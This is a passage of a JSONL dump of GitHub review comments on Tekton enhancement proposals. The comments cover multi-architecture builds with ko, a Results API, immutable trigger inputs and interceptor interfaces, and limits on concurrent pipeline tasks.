powerful (albeit complex) escape hatch for folks to use here.\r\n\r\nYes and no :upside_down_face: We can choose the base image, and in that sense, we are in control of the base image. If we choose to use `distroless`, then, we don't control the supported arch anymore (at least not with `all` :upside_down_face:). `--platform=myarch` is good enough for me anyway.\r\n\r\nMy *only* worry is, what happens if I use `--platform=s390x` and the base image doesn't support it ? :stuck_out_tongue_closed_eyes: We may need to maintain our own set of base image (maybe in `plumbing`) if at some point we want to support arch that are not available in the current base images used :stuck_out_tongue_closed_eyes: ", "comment_id": 497318232, "created_at": "2020-09-30T08:04:24Z", "line": null, "path": "teps/0019-other-arch-support.md", "pr_number": 211, "repo": "community"} +{"author": "vdemeester", "body": "btw, I am just thinking outloud, I am really happy `ko` supports multi-platform, and the default behavior of `--platform=all` seems good to me too :stuck_out_tongue: :wink: ", "comment_id": 497319062, "created_at": "2020-09-30T08:05:50Z", "line": null, "path": "teps/0019-other-arch-support.md", "pr_number": 211, "repo": "community"} +{"author": "barthy1", "body": "That depends on the approach community will choose to do the builds (based on my opinion):\r\n1) `ko resolve --platform=all` means support for all possible platforms. Here I believe special buildcop(s) with knowledge about non-amd64 architectures and probably access to all possible hardware.\r\nor\r\n2) Only specific platforms are supported with`ko resolve --platform=linux/s390x`,`ko resolve --platform=linux/arm64`, etc. In this case interested party should provide hardware for tests and specialists who will be responsible to fix failures specific to concrete platform.", "comment_id": 497387168, "created_at": "2020-09-30T09:55:32Z", "line": 163, "path": "teps/0019-other-arch-support.md", "pr_number": 211, "repo": "community"} +{"author": "barthy1", "body": "got it, thank you", "comment_id": 497391759, "created_at": "2020-09-30T10:03:26Z", "line": null, "path": "teps/0019-other-arch-support.md", "pr_number": 211, "repo": "community"} +{"author": "barthy1", "body": "I was insanely happy when leant that multi-arch support PR was merged to `ko`. And I agree that it makes things much easier. \r\nAt the same time I agree with @vdemeester that `--platform=all` can be too powerful as tests still should be running on native hardware and \"support for all possible platforms\" for me means that native hardware should be available for these platforms, which is not true at this moment. ", "comment_id": 497396254, "created_at": "2020-09-30T10:11:18Z", "line": null, "path": "teps/0019-other-arch-support.md", "pr_number": 211, "repo": "community"} +{"author": "barthy1", "body": "Technical details :) I verified that `ko resolve --platform=all`, using `alpine` base image in .ko.yaml, builds installable/runnable versions of pipeline, triggers, operator, dashboard for amd64 and s390x (with multi-arch images)", "comment_id": 497397907, "created_at": "2020-09-30T10:14:32Z", "line": null, "path": "teps/0019-other-arch-support.md", "pr_number": 211, "repo": "community"} +{"author": "imjasonh", "body": "I understand the concern about the support burden of having Tekton's images available in a plethora of architectures. If it helps, we can document that Tekton only officially supports `amd64` and `s390x`, for example, even though other architectures might be _available_.\r\n\r\nHaving this distinction could be helpful, since it means users who might be interested in testing and eventually committing to support `arm64` could play with those out of the box (or, for some other`new-arch`, assuming distroless supports `new-arch`), without having to build their own images.", "comment_id": 497399021, "created_at": "2020-09-30T10:16:34Z", "line": null, "path": "teps/0019-other-arch-support.md", "pr_number": 211, "repo": "community"} +{"author": "barthy1", "body": "taking into account this [comment](https://github.com/tektoncd/community/pull/211#discussion_r497399021) I'd like to reformulate my suggestion. \r\nInterested parties should provide hardware for tests and specialists who will be responsible to fix failures for `supported` architectures. \r\nOther architectures which `might be available` are not supported or tested. Fixes for them can be provided following standard procedure by any interested person.", "comment_id": 497416552, "created_at": "2020-09-30T10:50:00Z", "line": 163, "path": "teps/0019-other-arch-support.md", "pr_number": 211, "repo": "community"} +{"author": "mattmoor", "body": "cc @duglin @afrittoli \r\n\r\nIBM had raised a desire to have support for Power and Z in the context of Knative, and a willingness (I think) by IBM to contribute resources for CI. I thought Tekton might be in a similar boat.\r\n\r\nFor arm64, I'm going to try to use an EKS Graviton cluster for as much of my development as it will allow.\r\n\r\n---\r\nTotally ack the concerns, though. To Jason's point, perhaps it would be enough to distinguish between \"supported\" and \"best effort\"? You could even produce distinct bundles with `ko resolve --platform={supported}` and `ko resolve --platform=all`.\r\n\r\nFeedback on how to control this is certainly welcome and desired \ud83d\ude4f ", "comment_id": 497570905, "created_at": "2020-09-30T14:48:01Z", "line": null, "path": "teps/0019-other-arch-support.md", "pr_number": 211, "repo": "community"} +{"author": "R2wenD2", "body": "Fix indendation", "comment_id": 499697232, "created_at": "2020-10-05T15:45:44Z", "line": null, "path": "teps/0021-results-api.md", "pr_number": 217, "repo": "community"} +{"author": "vdemeester", "body": "nit: \"storing the original TaskSpec in \ufffca TaskRunStatus\" is already in :wink: ", "comment_id": 500202464, "created_at": "2020-10-06T11:31:50Z", "line": null, "path": "teps/0021-results-api.md", "pr_number": 217, "repo": "community"} +{"author": "vdemeester", "body": "We need to define what \"results\" are here. Is this limited to the `results` type in Pipeline/Task or the *status* of the execution or is it more ; like any artifacts generated by a pipeline (tests reports, archive, \u2026)", "comment_id": 500250757, "created_at": "2020-10-06T12:53:53Z", "line": 205, "path": "teps/0021-results-api.md", "pr_number": 217, "repo": "community"} +{"author": "vdemeester", "body": "It would be nice to add some :angel: ", "comment_id": 500252936, "created_at": "2020-10-06T12:56:53Z", "line": 299, "path": "teps/0021-results-api.md", "pr_number": 217, "repo": "community"} +{"author": "vdemeester", "body": "Is this considered as part of the Result API ? Does it need to be (aka couldn't this be a different \"component\") ?", "comment_id": 500255052, "created_at": "2020-10-06T12:59:52Z", "line": 328, "path": "teps/0021-results-api.md", "pr_number": 217, "repo": "community"} +{"author": "vdemeester", "body": "What overhead do we talk about here ? (I guess on the operation side)", "comment_id": 500255839, "created_at": "2020-10-06T13:01:03Z", "line": null, "path": "teps/0021-results-api.md", "pr_number": 217, "repo": "community"} +{"author": "bobcatfish", "body": "what do you think about calling these Runs considering all the types we want to store are Runs? (TaskRuns, PipelineRuns, I'm guessing custom tasks aka Runs)", "comment_id": 504000252, "created_at": "2020-10-13T14:29:58Z", "line": null, "path": "teps/0021-results-api.md", "pr_number": 217, "repo": "community"} +{"author": "bobcatfish", "body": "it's probably worth the thought exercise to brainstorm some alternatives here as part of the proposal \r\n\r\nto get the process started: what if the API was in a different format? (e.g. not gRPC) what if there was no results store? what if there was no generic API?", "comment_id": 504001426, "created_at": "2020-10-13T14:31:28Z", "line": null, "path": "teps/0021-results-api.md", "pr_number": 217, "repo": "community"} +{"author": "wlynch", "body": "Done! PTAL.", "comment_id": 504928777, "created_at": "2020-10-14T19:43:44Z", "line": null, "path": "teps/0021-results-api.md", "pr_number": 217, "repo": "community"} +{"author": "wlynch", "body": "I don't feel too strongly about this, but something I like about `executions` is that it's intentionally not a Run and can have broader meaning beyond the existing Run types (e.g. Custom Tasks like you mentioned, but also DSLs, and other types we don't natively support), even if we expect Runs to be the primary type we handle for most Tekton users.\r\n\r\nThat said, I'm fine with either. Was there similar discussion when naming Task/PipelineRuns? If so, why was run chosen over execution?", "comment_id": 504932387, "created_at": "2020-10-14T19:50:29Z", "line": null, "path": "teps/0021-results-api.md", "pr_number": 217, "repo": "community"} +{"author": "wlynch", "body": "Thanks! Will update (this was likely pulled from Jason's original proposal).", "comment_id": 513048414, "created_at": "2020-10-27T21:38:48Z", "line": null, "path": "teps/0021-results-api.md", "pr_number": 217, "repo": "community"} +{"author": "wlynch", "body": "Added some definition here, as well as some discussion in Alternatives for how this relates to Task output results.\r\n\r\nThis is intentionally vague so that we can store broad data about TaskRuns and PipelineRuns. This will generally include the entire TaskRun/PipelineRun object (e.g. both spec and status), but we also see this evolving to include other information (input events, post-run receipts of GitHub status updates / Cloud Event publishing).\r\n\r\nThis is intended to be extensible to allow for future types which could include the artifacts you mentioned, though we are not looking to introduce new types as part of this proposal.", "comment_id": 513048444, "created_at": "2020-10-27T21:38:52Z", "line": 205, "path": "teps/0021-results-api.md", "pr_number": 217, "repo": "community"} +{"author": "wlynch", "body": "They're below - this comment is still here as a reminder when making edits.", "comment_id": 513048481, "created_at": "2020-10-27T21:38:55Z", "line": 299, "path": "teps/0021-results-api.md", "pr_number": 217, "repo": "community"} +{"author": "wlynch", "body": "This isn't a part of the Result API Server, but would likely be a feature for the Result controller (e.g. once my TaskRun has been uploaded to the Result API, automatically clean up etcd resources on my cluster).\r\n\r\nClarified this!", "comment_id": 513048537, "created_at": "2020-10-27T21:39:02Z", "line": 328, "path": "teps/0021-results-api.md", "pr_number": 217, "repo": "community"} +{"author": "wlynch", "body": "Primarily wanted to acknowledge that at minimum this would run as a separate pod, which likely has some additional cost as opposed to bundling this in the Pipeline controller itself (but in exchange we gain component modularity).\r\n\r\nI suspect the operational overhead would vary depending on the cluster environment (e.g. multi-tenant clusters may require per tenant controllers? - not 100% sure. I instinctively suspect that there would be a result controller for each Tekton Pipeline controller), but these details are likely too implementation/environment specific to detail in this doc.", "comment_id": 513051144, "created_at": "2020-10-27T21:44:12Z", "line": null, "path": "teps/0021-results-api.md", "pr_number": 217, "repo": "community"} +{"author": "bobcatfish", "body": "after the discussion in today's API working group, i want to float the idea that we merge this as proposed very quickly (without everything from \"proposal\" down)\r\n\r\n(np if that doesn't help and want to continue the discussion as is)", "comment_id": 520098751, "created_at": "2020-11-09T20:26:17Z", "line": 7, "path": "teps/0021-results-api.md", "pr_number": 217, "repo": "community"} +{"author": "bobcatfish", "body": "maybe link to the REST alternative below (I went looking for it right after i read this section)", "comment_id": 520100720, "created_at": "2020-11-09T20:29:58Z", "line": 261, "path": "teps/0021-results-api.md", "pr_number": 217, "repo": "community"} +{"author": "bobcatfish", "body": "can we add this as a requirement? i.e. that the Results API does not prescribe a particular expression language?", "comment_id": 520101804, "created_at": "2020-11-09T20:32:00Z", "line": 268, "path": "teps/0021-results-api.md", "pr_number": 217, "repo": "community"} +{"author": "bobcatfish", "body": "Would the plan be to use MySQL for now? (like https://github.com/tektoncd/experimental/tree/master/results ?)", "comment_id": 520102297, "created_at": "2020-11-09T20:33:01Z", "line": 281, "path": "teps/0021-results-api.md", "pr_number": 217, "repo": "community"} +{"author": "bobcatfish", "body": "great requirements \ud83d\udc4d i think these can be good examples to point to if folks are trying to distinguish b/w goals + requirements in other TEPs", "comment_id": 520102452, "created_at": "2020-11-09T20:33:21Z", "line": 242, "path": "teps/0021-results-api.md", "pr_number": 217, "repo": "community"} +{"author": "bobcatfish", "body": "i would think we'd still store the individual TaskRuns along with the PipelineRun tho right?", "comment_id": 520107113, "created_at": "2020-11-09T20:42:07Z", "line": null, "path": "teps/0021-results-api.md", "pr_number": 217, "repo": "community"} +{"author": "bobcatfish", "body": "\ud83d\udc4d \ud83d\udc4d \ud83d\udc4d Thanks for exploring this alternative, seems reasonable to me.", "comment_id": 520107919, "created_at": "2020-11-09T20:43:42Z", "line": 659, "path": "teps/0021-results-api.md", "pr_number": 217, "repo": "community"} +{"author": "bobcatfish", "body": "\ud83e\udd23 \ud83e\udd2d\r\n\r\nhttps://github.com/tektoncd/pipeline/pull/2706\r\n\r\n![image](https://user-images.githubusercontent.com/432502/98594367-8e288a80-22a2-11eb-84cf-13d27b7336ca.png)\r\n\r\nfwiw _THIS_ particular feature has been called \"result\" since at least https://github.com/tektoncd/pipeline/issues/454 (jan 2019)", "comment_id": 520109200, "created_at": "2020-11-09T20:46:04Z", "line": 698, "path": "teps/0021-results-api.md", "pr_number": 217, "repo": "community"} +{"author": "bobcatfish", "body": "\"stuff that happened\"\r\n\r\nThe only other name that seems appealing to me is something like \"history\"? \"Tekton History\"?", "comment_id": 520109568, "created_at": "2020-11-09T20:46:48Z", "line": 712, "path": "teps/0021-results-api.md", "pr_number": 217, "repo": "community"} +{"author": "wlynch", "body": "+1", "comment_id": 522274876, "created_at": "2020-11-12T17:15:20Z", "line": 7, "path": "teps/0021-results-api.md", "pr_number": 217, "repo": "community"} +{"author": "wlynch", "body": "Done.", "comment_id": 522276009, "created_at": "2020-11-12T17:16:57Z", "line": 261, "path": "teps/0021-results-api.md", "pr_number": 217, "repo": "community"} +{"author": "wlynch", "body": "Done. Also included other examples of implementation customization.", "comment_id": 522279069, "created_at": "2020-11-12T17:21:00Z", "line": 268, "path": "teps/0021-results-api.md", "pr_number": 217, "repo": "community"} +{"author": "wlynch", "body": "Yeah we went with MySQL for the PoC, but we are by no means tied to it. I'm intentionally vague about the specifics of storage details in this TEP to focus on the API and not the implementation.", "comment_id": 522280320, "created_at": "2020-11-12T17:22:40Z", "line": 281, "path": "teps/0021-results-api.md", "pr_number": 217, "repo": "community"} +{"author": "wlynch", "body": "Yup! Exactly. Rephrased to make this a bit clearer.", "comment_id": 522285269, "created_at": "2020-11-12T17:29:12Z", "line": null, "path": "teps/0021-results-api.md", "pr_number": 217, "repo": "community"} +{"author": "wlynch", "body": "Update on this, we decided to change this to `Events` to be a bit broader. The intent is still the same.", "comment_id": 522286762, "created_at": "2020-11-12T17:30:57Z", "line": null, "path": "teps/0021-results-api.md", "pr_number": 217, "repo": "community"} +{"author": "afrittoli", "body": "What happened with `5` ?", "comment_id": 523028780, "created_at": "2020-11-13T15:36:28Z", "line": 467, "path": "teps/0021-results-api.md", "pr_number": 217, "repo": "community"} +{"author": "wlynch", "body": "Various edits/reordering. \ud83d\ude05 I'll reorder the numbers when we create the API for real.", "comment_id": 524354553, "created_at": "2020-11-16T15:30:59Z", "line": 467, "path": "teps/0021-results-api.md", "pr_number": 217, "repo": "community"} +{"author": "bigkevmcd", "body": "This might complicate bindings, if you have several interceptors, and the values go in as...\r\n\r\n```json\r\n{\r\n \"interceptors\": {\r\n \"github-push-repo-a-interceptor\": {\r\n \"short_sha\": \"bca6b70\"\r\n },\r\n \"github-push-repo-b-interceptor\": {\r\n \"short_sha\": \"3e29f82b\"\r\n }\r\n }\r\n}\r\n```\r\nGetting a binding that can build and tag with the `short_sha` in a generic form will be tricky.", "comment_id": 497387613, "created_at": "2020-09-30T09:56:16Z", "line": null, "path": "teps/0022-trigger-immutable-input.md", "pr_number": 218, "repo": "community"} +{"author": "dibyom", "body": "Will users have to now use input.body or input.header for bindings/interceptors? If so, can we consider just keeping the body and headers as is today but make them immutable while adding a new modifiable field (`interceptors`) as described below?", "comment_id": 497565062, "created_at": "2020-09-30T14:40:43Z", "line": null, "path": "teps/0022-trigger-immutable-input.md", "pr_number": 218, "repo": "community"} +{"author": "dibyom", "body": "For tektoncd/triggers#271, there is a proposal to change the Interceptor [HTTP request/response shapes](https://docs.google.com/document/d/1zIG295nyWonCXhb8XcOC41q4YVP9o2Hgg8uAoL4NdPA/edit#heading=h.qqwmk8cmvqm2). Creating an `input` field to hold the `body` and `headers` sounds good to me as part of that interface change. Though it does make it a bit inconsistent -- webhook interceptors use input.body while bindings simply use body.\r\n\r\nFor the current interface, do you see any issues if we keep sending the original body and headers as we do today but simply remove the requirement that the webhook interceptor has to send any body/header back?", "comment_id": 497573339, "created_at": "2020-09-30T14:51:06Z", "line": null, "path": "teps/0022-trigger-immutable-input.md", "pr_number": 218, "repo": "community"} +{"author": "dibyom", "body": "Yeah, what if this is a flat list i.e we do not key by interceptor name (we could call this field `extensions` or something?)\r\n\r\nThe main drawback I see is if two interceptors both produce the same field. In that case, maybe we follow a simple rule -- the last interceptor in the chain can overwrite the previous one? (Another alternative might be to just throw an error in this case)", "comment_id": 497579280, "created_at": "2020-09-30T14:58:21Z", "line": null, "path": "teps/0022-trigger-immutable-input.md", "pr_number": 218, "repo": "community"} +{"author": "dibyom", "body": "Besides consistency, is there a disadvantage to keeping just `body` and `header` instead of `input.body` and `input.header`. Maybe for webhooks too, we can just send `header` and `body` as top-level fields?\r\n\r\nThe main benefit is that then this change becomes a lot less invasive i.e. users do not have to rewrite their bindings, just their interceptors.", "comment_id": 497585031, "created_at": "2020-09-30T15:05:34Z", "line": null, "path": "teps/0022-trigger-immutable-input.md", "pr_number": 218, "repo": "community"} +{"author": "dibyom", "body": "This can be an annotation too!", "comment_id": 497589870, "created_at": "2020-09-30T15:11:57Z", "line": null, "path": "teps/0022-trigger-immutable-input.md", "pr_number": 218, "repo": "community"} +{"author": "bigkevmcd", "body": "Looking at it again, maybe the interface becomes:\r\n```go\r\ninterface Interceptor {\r\n ExecuteTrigger(headers http.Header, body map[string]interface{}) (extensions map[string]interface{}, err error)\r\n}\r\n```\r\nThe Webhook interceptor would just do a POST, transferring the headers, encoding the body, and being expected to return an optional JSON body (which would become extensions) ?", "comment_id": 497608338, "created_at": "2020-09-30T15:36:45Z", "line": null, "path": "teps/0022-trigger-immutable-input.md", "pr_number": 218, "repo": "community"} +{"author": "bigkevmcd", "body": "The scope for interceptors to do this is fairly small, there's no \"global\" interceptor, so if it's happening, it's happening within a _fairly_ small stanza in your YAML.\r\n\r\nTo me, this suggests a low likelihood of having to debug a mysterious value, and with \"last-one-wins\", it should be fairly easy to debug (it's not like we're subject to the vagaries of hash ordering).", "comment_id": 497610664, "created_at": "2020-09-30T15:39:57Z", "line": null, "path": "teps/0022-trigger-immutable-input.md", "pr_number": 218, "repo": "community"} +{"author": "wlynch", "body": "> For the current interface, do you see any issues if we keep sending the original body and headers as we do today but simply remove the requirement that the webhook interceptor has to send any body/header back?\r\n\r\nI think the only question I'm unsure about is if just `body` is clear to users that it is the original input body with no modifications (rather than the overall interceptor payload). I suspect that most users probably assume this is what's happening though, so I think I'm sufficiently convinced that we can hold off on this change for the time being and keep the existing layout.", "comment_id": 497685523, "created_at": "2020-09-30T17:34:03Z", "line": null, "path": "teps/0022-trigger-immutable-input.md", "pr_number": 218, "repo": "community"} +{"author": "wlynch", "body": "SGTM.", "comment_id": 497688993, "created_at": "2020-09-30T17:40:03Z", "line": null, "path": "teps/0022-trigger-immutable-input.md", "pr_number": 218, "repo": "community"} +{"author": "wlynch", "body": "My initial instinct was to group everything related to the incoming event into a single type and say \"everything in here is immutable\" rather then selectively say \"these 2 fields are immutable\". I think the point you raise about it being a invasive change to all users, rather than the subset that happened to depend on the mutation behavior is valid though, so I think I'll walk this back.\r\n", "comment_id": 497728771, "created_at": "2020-09-30T18:50:56Z", "line": null, "path": "teps/0022-trigger-immutable-input.md", "pr_number": 218, "repo": "community"} +{"author": "wlynch", "body": "Good idea! Then we don't need to explicitly change the spec.", "comment_id": 497729355, "created_at": "2020-09-30T18:51:57Z", "line": null, "path": "teps/0022-trigger-immutable-input.md", "pr_number": 218, "repo": "community"} +{"author": "wlynch", "body": "Any thoughts on naming?\r\n\r\n- interceptors\r\n- extensions\r\n- plugins\r\n- ???", "comment_id": 497735958, "created_at": "2020-09-30T19:03:49Z", "line": null, "path": "teps/0022-trigger-immutable-input.md", "pr_number": 218, "repo": "community"} +{"author": "wlynch", "body": "I think we'll want to encapsulate this into Request/Response types, following what is proposed in the [pluggable interceptor proposal](https://docs.google.com/document/d/1zIG295nyWonCXhb8XcOC41q4YVP9o2Hgg8uAoL4NdPA/edit#heading=h.ecpe4nobzdj5) by @dibyom. This will make it easier to add additional fields into the request/response objects as needed (i.e. the additional trigger fields proposed by Dibyo):\r\n\r\n```go\r\ninterface Interceptor {\r\n ExecuteTrigger(req InterceptorRequest) (InterceptorResponse, error)\r\n}\r\n\r\ntype InterceptorRequest struct {\r\n Headers http.Headers\r\n Body json.RawMessage\r\n Interceptors map[string]interface{}\r\n}\r\n\r\ntype InterceptorResponse struct {\r\n Body json.RawMessage\r\n}\r\n```", "comment_id": 497736237, "created_at": "2020-09-30T19:04:22Z", "line": null, "path": "teps/0022-trigger-immutable-input.md", "pr_number": 218, "repo": "community"} +{"author": "dibyom", "body": "very slight preference towards `extensions` but open to all of them!", "comment_id": 498442607, "created_at": "2020-10-01T18:36:59Z", "line": null, "path": "teps/0022-trigger-immutable-input.md", "pr_number": 218, "repo": "community"} +{"author": "bobcatfish", "body": "i think it's worth generating some of these as part of the proposal, even if the alternatives you come up with aren't very appealing; if that's the case then it increase confidence in the proposal at least :D\r\n\r\nsome ideas: one alternative is always to NOT do the thing, i.e. what does it look like to try to meet the same goals but without the explicit feature? or we could make this something you opt into (kinda already the case with the feature flag, but maybe at a different level, e.g. configuring mutability in the binding?)? or maybe some kind of interceptor you add into your interceptors list that ensures the event hasn't been mutated?\r\n\r\n(none of these are great but again i think it's worth generating and recording)", "comment_id": 504029632, "created_at": "2020-10-13T15:06:46Z", "line": null, "path": "teps/0022-trigger-immutable-input.md", "pr_number": 218, "repo": "community"} +{"author": "bobcatfish", "body": "oh and you do have one below! \"TODO based on feedback\" made me think there wouldn't be any\r\n\r\nanyway here are a few more :D", "comment_id": 504030169, "created_at": "2020-10-13T15:07:27Z", "line": null, "path": "teps/0022-trigger-immutable-input.md", "pr_number": 218, "repo": "community"} +{"author": "bobcatfish", "body": "one potential drawback that comes to mind: can't as easily use interceptors to filter out sensitive data? e.g. if you could imagine wanting to pass the entire body of an event to a resulting Run\r\n\r\ni suppose you can still do this, but you need to do it by duplicating all the data into a new field?", "comment_id": 504031053, "created_at": "2020-10-13T15:08:35Z", "line": null, "path": "teps/0022-trigger-immutable-input.md", "pr_number": 218, "repo": "community"} +{"author": "wlynch", "body": "ooh, great point! Added (though I don't think we want to support this).", "comment_id": 505869564, "created_at": "2020-10-15T21:29:13Z", "line": null, "path": "teps/0022-trigger-immutable-input.md", "pr_number": 218, "repo": "community"} +{"author": "wlynch", "body": "Done!", "comment_id": 505869616, "created_at": "2020-10-15T21:29:17Z", "line": null, "path": "teps/0022-trigger-immutable-input.md", "pr_number": 218, "repo": "community"} +{"author": "jerop", "body": "```suggestion\r\nEnable users to define the concurrency of a Pipeline to limit how many tasks are run simultaneously. \r\n```", "comment_id": 511066821, "created_at": "2020-10-23T18:31:34Z", "line": null, "path": "teps/0013-limit-pipeline-conecurrency.md", "pr_number": 228, "repo": "community"} +{"author": "jerop", "body": "```suggestion\r\nEnable users to limit the number of tasks that can run simultaneously in a pipeline, which could help with:\r\n```\r\n", "comment_id": 511069052, "created_at": "2020-10-23T18:33:55Z", "line": null, "path": "teps/0013-limit-pipeline-conecurrency.md", "pr_number": 228, "repo": "community"} +{"author": "jerop", "body": "```suggestion\r\n- Tracking and limiting how much resources a Pipeline is consuming, and thus how much it costs\r\n```", "comment_id": 511070290, "created_at": "2020-10-23T18:35:11Z", "line": null, "path": "teps/0013-limit-pipeline-conecurrency.md", "pr_number": 228, "repo": "community"} +{"author": "jerop", "body": "```suggestion\r\n\r\n```", "comment_id": 511071288, "created_at": "2020-10-23T18:36:12Z", "line": null, "path": "teps/0013-limit-pipeline-conecurrency.md", "pr_number": 228, "repo": "community"} +{"author": "jerop", "body": "```suggestion\r\n- Improve the user experience when utilizing pipelines for CI systems in order to avoid issues with for example race conditions. This is described more in depth in the following [issue](https://github.com/tektoncd/pipeline/issues/1305).\r\n```", "comment_id": 511072277, "created_at": "2020-10-23T18:37:18Z", "line": null, "path": "teps/0013-limit-pipeline-conecurrency.md", "pr_number": 228, "repo": "community"} +{"author": "jerop", "body": "however, i think this is a separate problem from what we're trying to address in this tep -- my understanding is that this tep is about concurrent tasks, while the problem discussed in this point is concurrent pipelines...", "comment_id": 511074012, "created_at": "2020-10-23T18:39:26Z", "line": null, "path": "teps/0013-limit-pipeline-conecurrency.md", "pr_number": 228, "repo": "community"} +{"author": "jerop", "body": "```suggestion\r\n- Limit how many tasks can run concurrently in a Pipeline.\r\n```", "comment_id": 511075537, "created_at": "2020-10-23T18:41:15Z", "line": null, "path": "teps/0013-limit-pipeline-conecurrency.md", "pr_number": 228, "repo": "community"} +{"author": "jerop", "body": "```suggestion\r\n- Users can specify the maximum number of Tasks that can run concurrently in a Pipeline\r\n- Users can...\r\n```", "comment_id": 511080383, "created_at": "2020-10-23T18:48:01Z", "line": null, "path": "teps/0013-limit-pipeline-conecurrency.md", "pr_number": 228, "repo": "community"} +{"author": "jerop", "body": "```suggestion\r\ne2e and unit tests\r\n```", "comment_id": 511088529, "created_at": "2020-10-23T19:05:23Z", "line": null, "path": "teps/0013-limit-pipeline-conecurrency.md", "pr_number": 228, "repo": "community"} +{"author": "jerop", "body": "```suggestion\r\n---\r\ntitle: pipeline-concurrency\r\nauthors:\r\n - \"@NikeNano\"\r\ncreation-date: 2020-10-07\r\nlast-updated: 2020-10-26\r\nstatus: proposed\r\n---\r\n\r\n- Issue: https://github.com/tektoncd/pipeline/issues/2591\r\n- POC: https://github.com/tektoncd/pipeline/pull/3112\r\n```", "comment_id": 511653737, "created_at": "2020-10-25T21:56:45Z", "line": null, "path": "teps/0013-limit-pipeline-conecurrency.md", "pr_number": 228, "repo": "community"} +{"author": "jerop", "body": "```suggestion\r\n\r\n```", "comment_id": 511653796, "created_at": "2020-10-25T21:57:36Z", "line": null, "path": "teps/0013-limit-pipeline-conecurrency.md", "pr_number": 228, "repo": "community"} +{"author": "jerop", "body": "please run `hack/update-toc.sh` to sync the table of contents", "comment_id": 511654532, "created_at": "2020-10-25T22:04:23Z", "line": null, "path": "teps/0013-limit-pipeline-conecurrency.md", "pr_number": 228, "repo": "community"} +{"author": "jerop", "body": "this table is needed to track the status of the tep", "comment_id": 511654926, "created_at": "2020-10-25T22:07:54Z", "line": null, "path": "teps/0013-limit-pipeline-conecurrency.md", "pr_number": 228, "repo": "community"} +{"author": "jerop", "body": "nit: fixing tense", "comment_id": 511654959, "created_at": "2020-10-25T22:08:10Z", "line": null, "path": "teps/0013-limit-pipeline-conecurrency.md", "pr_number": 228, "repo": "community"} +{"author": "jerop", "body": "i think this is covered in the previous point ", "comment_id": 511655001, "created_at": "2020-10-25T22:08:27Z", "line": null, "path": "teps/0013-limit-pipeline-conecurrency.md", "pr_number": 228, "repo": "community"} +{"author": "jerop", "body": "to make the goal a bit more explicit ", "comment_id": 511655051, "created_at": "2020-10-25T22:08:45Z", "line": null, "path": "teps/0013-limit-pipeline-conecurrency.md", "pr_number": 228, "repo": "community"} +{"author": "jerop", "body": "to reference the issue related to the non-goal", "comment_id": 511655074, "created_at": "2020-10-25T22:08:57Z", "line": null, "path": "teps/0013-limit-pipeline-conecurrency.md", "pr_number": 228, "repo": "community"} +{"author": "jerop", "body": "requirements supposed to be the constraints to consider in the design and must be met by the proposal/solution\r\n", "comment_id": 511655122, "created_at": "2020-10-25T22:09:18Z", "line": null, "path": "teps/0013-limit-pipeline-conecurrency.md", "pr_number": 228, "repo": "community"} +{"author": "jerop", "body": "also approvals for this would be from the Pipeline Owners, not the Tekton Governance Board, as described in https://github.com/tektoncd/community/blob/master/teps/0001-tekton-enhancement-proposal-process.md#stewardship", "comment_id": 511655179, "created_at": "2020-10-25T22:09:38Z", "line": null, "path": "teps/0013-limit-pipeline-conecurrency.md", "pr_number": 228, "repo": "community"} +{"author": "jerop", "body": "```suggestion\r\n\r\nWe propose introducing a field used to limit the number of `Tasks` that can run concurrently in the `Pipeline`. Further discussed in [Design Details](#design-details) below.\r\n```", "comment_id": 511655924, "created_at": "2020-10-25T22:16:29Z", "line": null, "path": "teps/0013-limit-pipeline-conecurrency.md", "pr_number": 228, "repo": "community"} +{"author": "jerop", "body": "this section should contain an overview of the specific proposed feature, which we'll describe in further detail in the `Design Details` section below\r\n\r\nfrom the POC, it seems the specific proposal is to add the field used to limit the number of concurrent tasks -- so i added the overview of that in this section, put its design details in `Design Details` and moved the other alternatives to the `Alternatives` section below", "comment_id": 511655962, "created_at": "2020-10-25T22:16:47Z", "line": null, "path": "teps/0013-limit-pipeline-conecurrency.md", "pr_number": 228, "repo": "community"} +{"author": "jerop", "body": "```suggestion\r\nGiven that this allows users to limit the number of concurrent `TaskRuns` in a given `PipelineRun`, the execution time of the `PipelineRun` could increase. However, this allows users to limit the resources used and save costs. \r\n```", "comment_id": 511656686, "created_at": "2020-10-25T22:22:35Z", "line": null, "path": "teps/0013-limit-pipeline-conecurrency.md", "pr_number": 228, "repo": "community"} +{"author": "jerop", "body": "```suggestion\r\n### Performance\r\n```", "comment_id": 511656778, "created_at": "2020-10-25T22:23:37Z", "line": null, "path": "teps/0013-limit-pipeline-conecurrency.md", "pr_number": 228, "repo": "community"} +{"author": "jerop", "body": "```suggestion\r\nIt could affect the performance of the scheduling by increasing the execution time of the `PipelineRuns`.\r\n```", "comment_id": 511656950, "created_at": "2020-10-25T22:25:05Z", "line": null, "path": "teps/0013-limit-pipeline-conecurrency.md", "pr_number": 228, "repo": "community"} +{"author": "jerop", "body": "this should be the drawback of the specific proposal, not all the alternatives considered -- the drawbacks of the other alternatives should be listed alongside those alternatives in the `Alternatives` section below", "comment_id": 511657069, "created_at": "2020-10-25T22:26:07Z", "line": null, "path": "teps/0013-limit-pipeline-conecurrency.md", "pr_number": 228, "repo": "community"} +{"author": "jerop", "body": "this is where we add the details of the proposal", "comment_id": 511657201, "created_at": "2020-10-25T22:27:05Z", "line": null, "path": "teps/0013-limit-pipeline-conecurrency.md", "pr_number": 228, "repo": "community"} +{"author": "jerop", "body": "some open questions are:\r\n- what is the default behavior when the `MaxParallelTasks` is not specified? i suppose we'd want to do what we have now where any number of TaskRuns would be scheduled -- we need to add this info\r\n- what happens if the user sets MaxParallelTasks as zero? do we require MaxParallelTasks to be greater than zero and throw validation error if it is not?", "comment_id": 511657224, "created_at": "2020-10-25T22:27:21Z", "line": null, "path": "teps/0013-limit-pipeline-conecurrency.md", "pr_number": 228, "repo": "community"} +{"author": "jerop", "body": "```suggestion\r\nWhat if a user mistakenly sets the maximum number of concurrent tasks to zero or less? Does this mean no tasks are run until the pipeline times out? To mitigate against this, we will require that the maximum limit of concurrent tasks should be greater than zero and add validation to ensure it is greater than zero (which would throw an error if it set to zero or less)\r\n```", "comment_id": 511657828, "created_at": "2020-10-25T22:32:26Z", "line": null, "path": "teps/0013-limit-pipeline-conecurrency.md", "pr_number": 228, "repo": "community"} +{"author": "jerop", "body": "```suggestion\r\n\r\n```", "comment_id": 511657890, "created_at": "2020-10-25T22:33:14Z", "line": null, "path": "teps/0013-limit-pipeline-conecurrency.md", "pr_number": 228, "repo": "community"} +{"author": "jerop", "body": "```suggestion\r\n\r\n```", "comment_id": 511658065, "created_at": 